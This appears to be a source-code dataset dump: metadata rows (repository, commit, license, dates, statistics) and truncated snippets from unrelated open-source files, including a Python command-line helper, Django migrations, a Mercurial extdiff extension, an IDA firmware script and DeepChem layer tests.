pyhdtoolkit/utils/cmdline.py
fsoubelet/PyhDToolk
aef9d5f1fac2d4c4307d50ba5c53f6a5eb635a66
[ "MIT" ]
5
2020-05-28T09:16:01.000Z
2021-12-27T18:59:15.000Z
pyhdtoolkit/utils/cmdline.py
fsoubelet/PyhDToolk
aef9d5f1fac2d4c4307d50ba5c53f6a5eb635a66
[ "MIT" ]
71
2020-02-20T20:32:43.000Z
2022-03-24T17:04:28.000Z
pyhdtoolkit/utils/cmdline.py
fsoubelet/PyhDToolk
aef9d5f1fac2d4c4307d50ba5c53f6a5eb635a66
[ "MIT" ]
2
2021-09-28T16:01:06.000Z
2022-03-16T19:04:23.000Z
""" Module utils.cmdline -------------------- Created on 2019.11.06 :author: Felix Soubelet ([email protected]) Utility script to help run commands and access the commandline. """ import errno import os import signal import subprocess from typing import Mapping, Optional, Tuple from loguru import logger from...
41.365079
110
0.620875
4,847
0.929969
0
0
4,696
0.900998
0
0
3,584
0.687644
c4e5c92095ff07343908dc4ad5fe4a10a7b5ac03
498
pyde
Python
sketches/noll/noll.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/noll/noll.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/noll/noll.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
from random import randint margin = 5 def setup(): size(400, 600) this.surface.setTitle("Re-Enactment A. Michael Noll") noLoop() def draw(): background(235, 215, 182) strokeWeight(2) x1 = randint(margin, width - margin) y1 = randint(margin, height - margin) for _ in range(50): ...
22.636364
57
0.574297
0
0
0
0
0
0
0
0
30
0.060241
c4e5fbaf6cd5fcd29917077a2405f0c945660808
992
py
Python
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.10 on 2019-07-19 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('cms_content', '0003_auto_20190719_1232'), ] operations ...
33.066667
164
0.633065
865
0.871976
0
0
0
0
0
0
311
0.313508
c4e7ad2ce4410048f7e3d9df95d8ae13cd8fa8fc
3,174
py
Python
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ ============================================================================== created : 02/08/2021 Last update: 02/08/2021 Developer: Yishan Tsai Lite Version 1 @Yishan08032019 Filename: celeryconfig.py Description: about celery configuration ========================================...
41.220779
236
0.639887
1,122
0.353497
0
0
0
0
0
0
1,557
0.490548
c4e7db74b0a777f921aa87993b291e973a2d6ac3
1,652
py
Python
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
1
2020-09-27T22:12:47.000Z
2020-09-27T22:12:47.000Z
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
null
null
null
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
2
2020-09-26T20:37:18.000Z
2020-11-15T20:55:33.000Z
from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM, State from direct.fsm import State from pandac.PandaModules import * from toontown.battle import BattlePlace from toontown.building import Elevator from toontown.coghq import CogHQExterior from toontown.dna.DNAParser import loadDNAFil...
41.3
79
0.72276
1,209
0.73184
0
0
0
0
0
0
154
0.09322
c4e813434f242369956777c090c26e6a052fa049
457
py
Python
etsy_convos/convos/migrations/0005_convothread_last_message_at.py
jessehon/etsy-convos
34631f49ec745fa11611af6122a7522adc16d241
[ "BSD-3-Clause" ]
2
2018-12-17T15:47:43.000Z
2020-02-29T19:47:30.000Z
etsy_convos/convos/migrations/0005_convothread_last_message_at.py
jessehon/etsy-convos
34631f49ec745fa11611af6122a7522adc16d241
[ "BSD-3-Clause" ]
2
2017-07-12T02:45:33.000Z
2017-11-02T00:37:59.000Z
etsy_convos/convos/migrations/0005_convothread_last_message_at.py
jessehon/etsy-convos
34631f49ec745fa11611af6122a7522adc16d241
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('convos', '0004_auto_20150511_0945'), ] operations = [ migrations.AddField( model_name='convothread', ...
22.85
94
0.630197
348
0.761488
0
0
0
0
0
0
103
0.225383
c4e9c3ba14a1425fb2bb7e78afee5ef252184d66
3,704
py
Python
pycoax/examples/40_eab.py
lowobservable/coax
9714fdfb418dff56357b9a35d2da3a91b8a60ffe
[ "0BSD" ]
21
2020-05-11T19:46:29.000Z
2022-02-09T01:32:41.000Z
pycoax/examples/40_eab.py
lowobservable/coax-interface
614f8a5f448b1f7e8298ced2585c178f4d7f435d
[ "0BSD" ]
null
null
null
pycoax/examples/40_eab.py
lowobservable/coax-interface
614f8a5f448b1f7e8298ced2585c178f4d7f435d
[ "0BSD" ]
5
2020-07-20T08:05:10.000Z
2022-01-30T13:57:05.000Z
#!/usr/bin/env python import sys from itertools import chain from common import open_example_serial_interface from coax import read_feature_ids, parse_features, Feature, LoadAddressCounterHi, LoadAddressCounterLo, WriteData, EABWriteAlternate, EABLoadMask def get_features(interface): commands = read_feature_ids...
49.386667
185
0.718952
0
0
0
0
0
0
0
0
1,681
0.453834
c4ea2eeeaf4f202bab8eda79b95fc4612a9dbdac
404
py
Python
ApkInstall/Case/TV/DeviceConnect.py
LiuTianen/PackManage
4b067954cc223baa14569a6f1517954b9cdb968f
[ "MIT" ]
null
null
null
ApkInstall/Case/TV/DeviceConnect.py
LiuTianen/PackManage
4b067954cc223baa14569a6f1517954b9cdb968f
[ "MIT" ]
null
null
null
ApkInstall/Case/TV/DeviceConnect.py
LiuTianen/PackManage
4b067954cc223baa14569a6f1517954b9cdb968f
[ "MIT" ]
null
null
null
# coding=utf-8 from Base.DevicesList import devicesList as dl from Base.Common import Common class DevicesConnect: def deviceConnect(self): commands = [] data = dl().get_Tv_IP() for IP in data: cmd = "adb connect %s" %(IP) commands.append(cmd) Common().loop...
22.444444
46
0.626238
243
0.601485
0
0
0
0
0
0
40
0.09901
c4ef333c1b8a1206f386a828b321c850713abce0
3,692
py
Python
angr/storage/memory_mixins/hex_dumper_mixin.py
Kyle-Kyle/angr
345b2131a7a67e3a6ffc7d9fd475146a3e12f837
[ "BSD-2-Clause" ]
6,132
2015-08-06T23:24:47.000Z
2022-03-31T21:49:34.000Z
angr/storage/memory_mixins/hex_dumper_mixin.py
Kyle-Kyle/angr
345b2131a7a67e3a6ffc7d9fd475146a3e12f837
[ "BSD-2-Clause" ]
2,272
2015-08-10T08:40:07.000Z
2022-03-31T23:46:44.000Z
angr/storage/memory_mixins/hex_dumper_mixin.py
Kyle-Kyle/angr
345b2131a7a67e3a6ffc7d9fd475146a3e12f837
[ "BSD-2-Clause" ]
1,155
2015-08-06T23:37:39.000Z
2022-03-31T05:54:11.000Z
import string from ...errors import SimValueError from . import MemoryMixin class HexDumperMixin(MemoryMixin): def hex_dump(self, start, size, word_size=4, words_per_row=4, endianness="Iend_BE", symbolic_char='?', unprintable_char='.', solve=False, extra_constraints=None, inspe...
46.734177
106
0.577194
3,612
0.978332
0
0
0
0
0
0
1,513
0.409805
c4ef979dcf699104f97d1724f4ddb27a38c7154c
4,782
py
Python
src/greplin/scales/formats.py
frenzymadness/scales
0aced26eb050ceb98ee9d5d6cdca8db448666986
[ "Apache-2.0" ]
273
2015-01-01T19:04:25.000Z
2022-02-13T18:16:28.000Z
src/greplin/scales/formats.py
frenzymadness/scales
0aced26eb050ceb98ee9d5d6cdca8db448666986
[ "Apache-2.0" ]
14
2015-02-03T09:18:57.000Z
2021-12-18T11:04:15.000Z
src/greplin/scales/formats.py
frenzymadness/scales
0aced26eb050ceb98ee9d5d6cdca8db448666986
[ "Apache-2.0" ]
35
2015-01-20T20:04:30.000Z
2020-12-30T20:43:04.000Z
# Copyright 2011 The scales Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
30.075472
115
0.648055
0
0
0
0
0
0
0
0
1,860
0.388959
c4f08226a69d6d813d6c2054e9344810e8a63453
5,911
py
Python
src/weight_graph.py
kavdi/data-structures
cc0be35afa279b92178b1cbaf43a033176cac095
[ "MIT" ]
null
null
null
src/weight_graph.py
kavdi/data-structures
cc0be35afa279b92178b1cbaf43a033176cac095
[ "MIT" ]
null
null
null
src/weight_graph.py
kavdi/data-structures
cc0be35afa279b92178b1cbaf43a033176cac095
[ "MIT" ]
1
2017-11-21T23:39:44.000Z
2017-11-21T23:39:44.000Z
"""Implement a weighted graph.""" class Graph(object): """Structure for values in a weighted graph.""" def __init__(self): """Create a graph with no values.""" self.graph = {} def nodes(self): """Get all nodes in the graph to display in list form.""" return list(self.grap...
32.657459
79
0.552022
5,874
0.99374
0
0
0
0
0
0
1,492
0.252411
c4f11548c4eb952f26c0dd99e9fd5c3f5a59fc56
376
py
Python
sqlitedb/settings.py
BelovN/orm
3dc9633a703369b99069a64fab3795c233a665cc
[ "Apache-2.0" ]
1
2021-02-10T13:49:36.000Z
2021-02-10T13:49:36.000Z
sqlitedb/settings.py
BelovN/orm
3dc9633a703369b99069a64fab3795c233a665cc
[ "Apache-2.0" ]
null
null
null
sqlitedb/settings.py
BelovN/orm
3dc9633a703369b99069a64fab3795c233a665cc
[ "Apache-2.0" ]
null
null
null
class BaseCommand: def __init__(self, table_name): self.table_name = table_name self._can_add = True @staticmethod def _convert_values(values): converted = [SQLType.convert(v) for v in values] return converted def check_intersection(self, other): return self.w...
22.117647
56
0.672872
349
0.928191
0
0
128
0.340426
0
0
13
0.034574
c4f2275c8950f55ba51fa504b3d7b04b4200e057
170
py
Python
hon/commands/clean.py
swquinn/hon
333332029ee884a8822d38024659d5d7da64ff1a
[ "MIT" ]
null
null
null
hon/commands/clean.py
swquinn/hon
333332029ee884a8822d38024659d5d7da64ff1a
[ "MIT" ]
14
2019-06-23T01:49:55.000Z
2021-02-22T01:26:51.000Z
hon/commands/clean.py
swquinn/hon
333332029ee884a8822d38024659d5d7da64ff1a
[ "MIT" ]
null
null
null
import click from ..cli import with_context @click.command('clean', short_help="Cleans a book' output directories") @with_context def clean_command(ctx=None): pass
18.888889
71
0.764706
0
0
0
0
123
0.723529
0
0
42
0.247059
c4f2f8270cc6cb9ae4cc9517cbe1d9549b6020f2
3,818
py
Python
Kerning/Steal Kerning Groups from Font.py
justanotherfoundry/Glyphs-Scripts
f28aeab0224ae19ace4a86cf363e7990985199b7
[ "Apache-2.0" ]
283
2015-01-07T12:35:35.000Z
2022-03-29T06:10:44.000Z
Kerning/Steal Kerning Groups from Font.py
justanotherfoundry/Glyphs-Scripts
f28aeab0224ae19ace4a86cf363e7990985199b7
[ "Apache-2.0" ]
203
2015-01-26T18:43:08.000Z
2022-03-04T01:47:58.000Z
Kerning/Steal Kerning Groups from Font.py
justanotherfoundry/Glyphs-Scripts
f28aeab0224ae19ace4a86cf363e7990985199b7
[ "Apache-2.0" ]
96
2015-01-19T20:58:03.000Z
2022-03-29T06:10:56.000Z
#MenuTitle: Steal Kerning Groups from Font """Copy kerning groups from one font to another.""" from __future__ import print_function import vanilla class GroupsCopy(object): """GUI for copying kerning groups from one font to another""" def __init__(self): self.w = vanilla.FloatingWindow((400, 70), "Steal kerning ...
36.018868
146
0.674175
3,651
0.95626
0
0
0
0
0
0
520
0.136197
c4f326034d179b78b8dc04c9d2ea83b5265251c0
12,584
py
Python
eggs/mercurial-2.2.3-py2.7-linux-x86_64-ucs4.egg/hgext/extdiff.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
null
null
null
eggs/mercurial-2.2.3-py2.7-linux-x86_64-ucs4.egg/hgext/extdiff.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
null
null
null
eggs/mercurial-2.2.3-py2.7-linux-x86_64-ucs4.egg/hgext/extdiff.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
1
2020-07-25T21:10:26.000Z
2020-07-25T21:10:26.000Z
# extdiff.py - external diff program support for mercurial # # Copyright 2006 Vadim Gelfer <[email protected]> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. '''command to allow external programs to compare revisions The ex...
38.133333
79
0.603703
0
0
0
0
0
0
0
0
5,983
0.475445
c4f3b9174179bea9c3e2586b2b624604e84c4eda
2,352
py
Python
scripts/idapython/idapy_detect_exitats.py
felkal/fuzzware
905d9df84dd36bcc3805986064fb7ee4426792a7
[ "Apache-2.0" ]
106
2022-01-19T21:33:21.000Z
2022-03-25T12:03:07.000Z
scripts/idapython/idapy_detect_exitats.py
felkal/fuzzware
905d9df84dd36bcc3805986064fb7ee4426792a7
[ "Apache-2.0" ]
1
2022-03-29T11:43:40.000Z
2022-03-29T11:43:40.000Z
scripts/idapython/idapy_detect_exitats.py
felkal/fuzzware
905d9df84dd36bcc3805986064fb7ee4426792a7
[ "Apache-2.0" ]
22
2022-01-20T02:05:17.000Z
2022-03-30T11:48:59.000Z
import idaapi from idaapi import * inifinite_loops = [ b"\x00\xbf\xfd\xe7", # loop: nop; b loop b"\xfe\xe7", # loop: b loop ] whitelist = [ "Reset_Handler", "main" ] def detect_noret_funcs(): exit_locs_name_pairs = [] for func_addr in Functions(): if get_func_flags(func_addr) & idaapi...
35.104478
104
0.581633
0
0
0
0
0
0
0
0
475
0.201956
c4f425e58c4e41f24eec096d7a9387bcf27859e2
3,619
py
Python
2020/src/day11.py
pantaryl/adventofcode
d53255c55be0447f3cef7bd93818c41b0eeae997
[ "MIT" ]
2
2021-12-01T05:23:25.000Z
2021-12-11T05:58:00.000Z
2020/src/day11.py
pantaryl/adventofcode
d53255c55be0447f3cef7bd93818c41b0eeae997
[ "MIT" ]
null
null
null
2020/src/day11.py
pantaryl/adventofcode
d53255c55be0447f3cef7bd93818c41b0eeae997
[ "MIT" ]
null
null
null
from collections import defaultdict from helpers import memoize from copy import deepcopy with open("../input/day11.txt", 'r') as inputFile: data = [x.rstrip() for x in inputFile.readlines()] #data = [int(x) for x in data] map = {} yMax = len(data) xMax = len(data[0]) for y in range(yMax): line = data[y] ...
28.496063
85
0.481625
0
0
0
0
0
0
0
0
193
0.05333
c4f49778e071131f827e01660acacad3ade6d9e2
3,235
py
Python
jaqs/util/dtutil.py
WestXu/JAQS
3c9389afab518f188b8628af72297d750c07dfb1
[ "Apache-2.0" ]
602
2017-11-21T00:39:40.000Z
2022-03-16T06:13:08.000Z
jaqs/util/dtutil.py
WestXu/JAQS
3c9389afab518f188b8628af72297d750c07dfb1
[ "Apache-2.0" ]
63
2017-12-08T08:21:16.000Z
2020-03-07T13:57:35.000Z
jaqs/util/dtutil.py
WestXu/JAQS
3c9389afab518f188b8628af72297d750c07dfb1
[ "Apache-2.0" ]
365
2017-11-21T01:38:36.000Z
2022-03-30T15:55:30.000Z
# encoding: utf-8 import datetime import numpy as np import pandas as pd def get_next_period_day(current, period, n=1, extra_offset=0): """ Get the n'th day in next period from current day. Parameters ---------- current : int Current date in format "%Y%m%d". period : str Inter...
24.884615
93
0.562597
0
0
0
0
0
0
0
0
1,103
0.340958
c4f7c343c369e93c89a12020beddb2954ee8b536
485
py
Python
api/pub/sensor/ds18b20.py
rtaft/pi-sensor-dashboard
e7f711e8ecd9e4c32976583c32dbc716b165d56a
[ "MIT" ]
null
null
null
api/pub/sensor/ds18b20.py
rtaft/pi-sensor-dashboard
e7f711e8ecd9e4c32976583c32dbc716b165d56a
[ "MIT" ]
null
null
null
api/pub/sensor/ds18b20.py
rtaft/pi-sensor-dashboard
e7f711e8ecd9e4c32976583c32dbc716b165d56a
[ "MIT" ]
null
null
null
import flask from flask import request import flask_restful as restful from marshmallow import Schema, fields, validate from api.helpers import success, created from api.exceptions import NotFound from sensors.ds18b20 import lookup class DS18B20Query (restful.Resource): def __init__(self, *args, **kwargs): ...
26.944444
60
0.756701
249
0.513402
0
0
0
0
0
0
16
0.03299
c4f823b53a35ff0fc520cfeb34cd4f27b3264abb
2,877
py
Python
accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py
adamshamsudeen/clubdin-dj
eb48c67dab3a4ae7c4032544eb4d64e0b1d7e15a
[ "MIT" ]
null
null
null
accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py
adamshamsudeen/clubdin-dj
eb48c67dab3a4ae7c4032544eb4d64e0b1d7e15a
[ "MIT" ]
null
null
null
accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py
adamshamsudeen/clubdin-dj
eb48c67dab3a4ae7c4032544eb4d64e0b1d7e15a
[ "MIT" ]
null
null
null
"""Tornado handlers for the live notebook view. Authors: * Brian Granger """ #----------------------------------------------------------------------------- # Copyright (C) 2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed...
31.271739
88
0.534237
1,425
0.495308
0
0
1,233
0.428571
0
0
1,121
0.389642
c4f84b78cd23bfc6c4e94d2d3b58c3a8e6dd5d94
34,172
py
Python
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
null
null
null
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
null
null
null
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
1
2019-05-19T14:22:32.000Z
2019-05-19T14:22:32.000Z
import deepchem as dc import numpy as np import tensorflow as tf import deepchem.models.tensorgraph.layers as layers from tensorflow.python.eager import context from tensorflow.python.framework import test_util class TestLayersEager(test_util.TensorFlowTestCase): """ Test that layers function in eager mode. """...
37.264995
94
0.654747
33,958
0.993738
0
0
0
0
0
0
6,107
0.178714
c4f8a7e27a6b1a8b93095262140e88ebc073c0f4
790
py
Python
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
# Solution of; # Project Euler Problem 49: Prime permutations # https://projecteuler.net/problem=49 # # The arithmetic sequence, 1487, 4817, 8147, in which each of the terms # increases by 3330, is unusual in two ways: (i) each of the three terms are # prime, and, (ii) each of the 4-digit numbers are permutations of...
30.384615
77
0.711392
0
0
0
0
0
0
0
0
637
0.806329
c4f93be850b5b4fb3f0bf11c18b271c4dd267dcc
8,879
py
Python
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
""" This reference script has been taken from rq-dashboard with some modifications """ import importlib import logging import os import sys from urllib.parse import quote as urlquote, urlunparse from redis.connection import (URL_QUERY_ARGUMENT_PARSERS, UnixDomainSocketConnection, ...
32.52381
94
0.64692
0
0
0
0
2,987
0.336412
0
0
4,279
0.481924
c4fab5fadfd556ed33d5c8cd6a4689c230aa1b08
54
py
Python
src/client/__init__.py
kyehyukahn/scp-prototype
4e92b47ab82068a154c407c22e8c396196a31942
[ "Apache-2.0" ]
1
2018-04-10T11:00:59.000Z
2018-04-10T11:00:59.000Z
src/client/__init__.py
kyehyukahn/scp-prototype
4e92b47ab82068a154c407c22e8c396196a31942
[ "Apache-2.0" ]
null
null
null
src/client/__init__.py
kyehyukahn/scp-prototype
4e92b47ab82068a154c407c22e8c396196a31942
[ "Apache-2.0" ]
null
null
null
from .client import send_message, MessageInfo # noqa
27
53
0.796296
0
0
0
0
0
0
0
0
6
0.111111
c4fb08b069b3dd12f5ffa2176644b9d7ad76a516
4,376
py
Python
src/comparing_scoring_seasons.py
davgav123/Mining_NBA
e302246c26d373d4b5e0defed07d70a5d09242d9
[ "MIT" ]
null
null
null
src/comparing_scoring_seasons.py
davgav123/Mining_NBA
e302246c26d373d4b5e0defed07d70a5d09242d9
[ "MIT" ]
null
null
null
src/comparing_scoring_seasons.py
davgav123/Mining_NBA
e302246c26d373d4b5e0defed07d70a5d09242d9
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- from pathlib import Path import pandas as pd from numpy import around if __name__ == "__main__": # Harden's PPG is from 2018-19 season # Bryant's PPG is from 2005-06 season # Jordan's PPG is from 1986-87 season per_game_df = pd.read_csv(Path('../data/com...
46.553191
121
0.64511
0
0
0
0
0
0
0
0
1,816
0.414991
c4fb53e938362d1e973ac1420b0eecef8f5d6f2b
5,939
py
Python
modules/citymap.py
sebastianbernasek/dataincubator
de29e86c917f107650d03d3331109cb992a6881c
[ "FTL", "CC-BY-4.0" ]
null
null
null
modules/citymap.py
sebastianbernasek/dataincubator
de29e86c917f107650d03d3331109cb992a6881c
[ "FTL", "CC-BY-4.0" ]
null
null
null
modules/citymap.py
sebastianbernasek/dataincubator
de29e86c917f107650d03d3331109cb992a6881c
[ "FTL", "CC-BY-4.0" ]
null
null
null
from os.path import join import numpy as np import geopandas as gpd import matplotlib.pyplot as plt from matplotlib.gridspec import GridSpec from matplotlib.colors import Normalize from matplotlib.colorbar import ColorbarBase from matplotlib.dates import YearLocator, DateFormatter from matplotlib.animation import FuncA...
30.45641
92
0.59606
5,607
0.944098
0
0
423
0.071224
0
0
582
0.097996
c4fbbf35cb97942fd780038b58bdfd3ad398e637
248
py
Python
w1data/metadata.py
swork/w1-datalogger
26191d57ff1c05e5c6e9de90870c5c63916f9a8c
[ "MIT" ]
null
null
null
w1data/metadata.py
swork/w1-datalogger
26191d57ff1c05e5c6e9de90870c5c63916f9a8c
[ "MIT" ]
null
null
null
w1data/metadata.py
swork/w1-datalogger
26191d57ff1c05e5c6e9de90870c5c63916f9a8c
[ "MIT" ]
null
null
null
import logging, sys logger = logging.getLogger(__name__) def measurement_for_skey(sensor_key, metadata): # logger.debug("sensor_key:{} metadata:{}".format(sensor_key, metadata)) return metadata['collector']['sensors'][sensor_key]['name']
31
76
0.741935
0
0
0
0
0
0
0
0
98
0.395161
c4fbcb6844c497c33e0f139f7c92bb18735dd23a
837
py
Python
easyvista/setup.py
GreyNoise-Intelligence/insightconnect-plugins
2ba3121d42fd96e1267bb095bc76b962678c1f56
[ "MIT" ]
null
null
null
easyvista/setup.py
GreyNoise-Intelligence/insightconnect-plugins
2ba3121d42fd96e1267bb095bc76b962678c1f56
[ "MIT" ]
null
null
null
easyvista/setup.py
GreyNoise-Intelligence/insightconnect-plugins
2ba3121d42fd96e1267bb095bc76b962678c1f56
[ "MIT" ]
null
null
null
# GENERATED BY KOMAND SDK - DO NOT EDIT from setuptools import setup, find_packages setup(name="easyvista-rapid7-plugin", version="1.0.0", description="EasyVista Service Manager platform supports even the most complex requirements, while bringing a new level of simplicity, agility, and mobility required t...
55.8
431
0.741935
0
0
0
0
0
0
0
0
607
0.725209
c4fbf075eb619be044717172093dd9b2c09291e8
1,579
py
Python
dbms/tests/integration/helpers/test_tools.py
qqiangwu/ClickHouse
4700d375d8238ca3d7f39a1d0001f173272bbf3a
[ "Apache-2.0" ]
4
2020-04-27T13:03:31.000Z
2020-10-15T09:51:13.000Z
dbms/tests/integration/helpers/test_tools.py
RCcode/ClickHouse
ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2
[ "Apache-2.0" ]
8
2018-11-21T09:45:25.000Z
2018-11-21T13:53:40.000Z
dbms/tests/integration/helpers/test_tools.py
RCcode/ClickHouse
ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2
[ "Apache-2.0" ]
2
2018-12-17T13:08:09.000Z
2022-01-26T08:50:20.000Z
import difflib import time class TSV: """Helper to get pretty diffs between expected and actual tab-separated value files""" def __init__(self, contents): raw_lines = contents.readlines() if isinstance(contents, file) else contents.splitlines(True) self.lines = [l.strip() for l in raw_lines if...
38.512195
159
0.645978
800
0.50665
0
0
121
0.076631
0
0
184
0.116529
c4fc6e0b4754b18344ed93b377dbe36255831144
1,637
py
Python
env/Lib/site-packages/Algorithmia/acl.py
Vivek-Kamboj/Sargam
0f3ca5c70ddb722dd40a45373abd0e9b3939064e
[ "MIT" ]
142
2015-09-07T02:40:36.000Z
2022-02-09T03:38:56.000Z
env/Lib/site-packages/Algorithmia/acl.py
Vivek-Kamboj/Sargam
0f3ca5c70ddb722dd40a45373abd0e9b3939064e
[ "MIT" ]
39
2015-11-04T22:26:42.000Z
2021-10-14T19:18:45.000Z
env/Lib/site-packages/Algorithmia/acl.py
Vivek-Kamboj/Sargam
0f3ca5c70ddb722dd40a45373abd0e9b3939064e
[ "MIT" ]
48
2015-09-05T13:06:46.000Z
2022-01-24T08:48:22.000Z
class Acl(object): def __init__(self, read_acl): self.read_acl = read_acl @staticmethod def from_acl_response(acl_response): '''Takes JSON response from API and converts to ACL object''' if 'read' in acl_response: read_acl = AclType.from_acl_response(acl_response['read']...
31.480769
88
0.61515
1,630
0.995724
0
0
715
0.436775
0
0
257
0.156995
c4fd54fcbdcdf92be66e00442b256526af744c5c
1,799
py
Python
nlp/name_extractor.py
Karthik-Venkatesh/ATOM
d369d8436b71b3af0f5810200c0927d0097f4330
[ "Apache-2.0" ]
1
2022-02-23T14:54:12.000Z
2022-02-23T14:54:12.000Z
nlp/name_extractor.py
Karthik-Venkatesh/atom
d369d8436b71b3af0f5810200c0927d0097f4330
[ "Apache-2.0" ]
21
2018-12-27T04:47:17.000Z
2019-01-16T06:00:53.000Z
nlp/name_extractor.py
Karthik-Venkatesh/ATOM
d369d8436b71b3af0f5810200c0927d0097f4330
[ "Apache-2.0" ]
null
null
null
# # name_extractor.py # ATOM # # Created by Karthik V. # Updated copyright on 16/1/19 5:54 PM. # # Copyright © 2019 Karthik Venkatesh. All rights reserved. # # Reference # Question link: https://stackoverflow.com/questions/20290870/improving-the-extraction-of-human-names-with-nltk # Answer link: https://stackover...
27.676923
111
0.581434
1,403
0.779444
0
0
1,365
0.758333
0
0
424
0.235556
c4fdb48e5cd50b1b15ab2ef20eb3414a3c36712f
1,402
py
Python
tfx/dsl/components/base/node_registry.py
johnPertoft/tfx
c6335684a54651adbcbe50aa52918b9b9948326e
[ "Apache-2.0" ]
null
null
null
tfx/dsl/components/base/node_registry.py
johnPertoft/tfx
c6335684a54651adbcbe50aa52918b9b9948326e
[ "Apache-2.0" ]
null
null
null
tfx/dsl/components/base/node_registry.py
johnPertoft/tfx
c6335684a54651adbcbe50aa52918b9b9948326e
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
30.478261
74
0.745364
291
0.207561
0
0
0
0
0
0
897
0.6398
c4ffd1431af57438c9e464015a0b8f4bd42bff19
20,283
py
Python
tests/unit/api/test_api.py
Mattlk13/datadogpy
80c8711359e45b2091c230f726da201616d5e4c9
[ "BSD-3-Clause" ]
null
null
null
tests/unit/api/test_api.py
Mattlk13/datadogpy
80c8711359e45b2091c230f726da201616d5e4c9
[ "BSD-3-Clause" ]
null
null
null
tests/unit/api/test_api.py
Mattlk13/datadogpy
80c8711359e45b2091c230f726da201616d5e4c9
[ "BSD-3-Clause" ]
null
null
null
# stdlib from copy import deepcopy from functools import wraps import os import tempfile from time import time # 3p import mock # datadog from datadog import initialize, api, util from datadog.api import ( Distribution, Metric, ServiceCheck ) from datadog.api.exceptions import ApiError, ApiNotInitialized ...
35.521891
117
0.598087
19,482
0.960509
0
0
843
0.041562
0
0
5,627
0.277424
f201ebc36fc057f334b79aad55bb830784413968
1,420
py
Python
keras_train.py
jmeisele/mlflow_demo
4414e9251fda0ab8c59e8bc776d04ef1f9fede10
[ "MIT" ]
null
null
null
keras_train.py
jmeisele/mlflow_demo
